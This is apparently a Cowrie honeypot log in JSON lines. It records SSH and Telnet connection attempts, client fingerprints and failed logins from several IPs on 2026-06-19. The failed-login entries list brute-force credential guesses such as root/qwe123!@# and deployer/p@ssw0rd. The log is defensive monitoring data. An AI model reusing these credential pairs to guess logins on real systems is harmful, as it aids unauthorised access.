{"eventid":"cowrie.login.failed","username":"mango","password":"mango","message":"login attempt [mango/mango] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:51.731484Z","src_ip":"211.253.37.225","session":"550fbe439b3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:51.965366Z","src_ip":"141.11.88.14","session":"c26a5851c0fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:52.353729Z","src_ip":"101.96.195.17","session":"68a553e0cd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:52.946132Z","src_ip":"211.253.37.225","session":"550fbe439b3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lth","password":"123456","message":"login attempt [lth/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:53.329091Z","src_ip":"101.96.195.17","session":"68a553e0cd02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:54.565483Z","src_ip":"101.96.195.17","session":"68a553e0cd02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32754,"dst_ip":"10.17.0.5","dst_port":22,"session":"23da9bca1e2a","protocol":"ssh","message":"New connection: 141.11.88.14:32754 (10.17.0.5:22) [session: 23da9bca1e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:57.786731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:58.479898Z","src_ip":"141.11.88.14","session":"23da9bca1e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:57:58.506130Z","src_ip":"141.11.88.14","session":"23da9bca1e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b2","password":"123","message":"login attempt [b2/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:00.157751Z","src_ip":"141.11.88.14","session":"23da9bca1e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:01.341400Z","src_ip":"141.11.88.14","session":"23da9bca1e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32766,"dst_ip":"10.17.0.5","dst_port":22,"session":"a373a1dbf495","protocol":"ssh","message":"New connection: 141.11.88.14:32766 (10.17.0.5:22) [session: a373a1dbf495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:06.525483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:06.624889Z","src_ip":"141.11.88.14","session":"a373a1dbf495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:06.638800Z","src_ip":"141.11.88.14","session":"a373a1dbf495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"server","message":"login attempt [debian/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:07.626345Z","src_ip":"141.11.88.14","session":"a373a1dbf495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:08.716234Z","src_ip":"141.11.88.14","session":"a373a1dbf495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48400354385376,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:10.418102Z","src_ip":"172.81.62.90","session":"c5c49c8a445b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":56414,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b48cfe7c66","protocol":"ssh","message":"New connection: 197.5.145.150:56414 (10.17.0.5:22) [session: 65b48cfe7c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:12.048056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:12.052630Z","src_ip":"197.5.145.150","session":"65b48cfe7c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:12.166185Z","src_ip":"197.5.145.150","session":"65b48cfe7c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:12.663027Z","src_ip":"197.5.145.150","session":"65b48cfe7c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37408,"dst_ip":"10.17.0.5","dst_port":22,"session":"506ccfa5d5c5","protocol":"ssh","message":"New connection: 141.11.88.14:37408 (10.17.0.5:22) [session: 506ccfa5d5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:13.586264Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:13.781196Z","src_ip":"197.5.145.150","session":"65b48cfe7c66","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:14.053259Z","src_ip":"141.11.88.14","session":"506ccfa5d5c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:14.056787Z","src_ip":"141.11.88.14","session":"506ccfa5d5c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57222,"dst_ip":"159.203.135.109","dst_port":23,"session":"91a69bbef19c","protocol":"telnet","message":"New connection: 128.199.8.54:57222 (159.203.135.109:23) [session: 91a69bbef19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:14.408936Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@#","message":"login attempt [root/qwe123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:15.577911Z","src_ip":"141.11.88.14","session":"506ccfa5d5c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.79188871383667,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:16.511206Z","src_ip":"128.199.8.54","session":"1277969aaa39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:16.741335Z","src_ip":"141.11.88.14","session":"506ccfa5d5c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11150,"dst_ip":"10.17.0.5","dst_port":22,"session":"55ac08d877db","protocol":"ssh","message":"New connection: 141.11.88.14:11150 (10.17.0.5:22) [session: 55ac08d877db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:21.491923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:21.496683Z","src_ip":"141.11.88.14","session":"55ac08d877db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:21.582625Z","src_ip":"141.11.88.14","session":"55ac08d877db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"momo123","message":"login attempt [root/momo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:22.276046Z","src_ip":"141.11.88.14","session":"55ac08d877db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:23.361491Z","src_ip":"141.11.88.14","session":"55ac08d877db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.14534831047058,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:27.968637Z","src_ip":"128.199.8.54","session":"b2f6aac7183c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65074,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bde7c9339e4","protocol":"ssh","message":"New connection: 141.11.88.14:65074 (10.17.0.5:22) [session: 7bde7c9339e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:28.827710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:29.095204Z","src_ip":"141.11.88.14","session":"7bde7c9339e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:29.098698Z","src_ip":"141.11.88.14","session":"7bde7c9339e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456789","message":"login attempt [devops/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:30.121359Z","src_ip":"141.11.88.14","session":"7bde7c9339e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:31.236941Z","src_ip":"141.11.88.14","session":"7bde7c9339e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":65084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1177290046a","protocol":"ssh","message":"New connection: 141.11.88.14:65084 (10.17.0.5:22) [session: f1177290046a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:36.110501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:36.226431Z","src_ip":"141.11.88.14","session":"f1177290046a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:36.233043Z","src_ip":"141.11.88.14","session":"f1177290046a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"p@ssw0rd","message":"login attempt [deployer/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:37.300871Z","src_ip":"141.11.88.14","session":"f1177290046a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:58:38.428760Z","src_ip":"141.11.88.14","session":"f1177290046a","protocol":"ssh"}
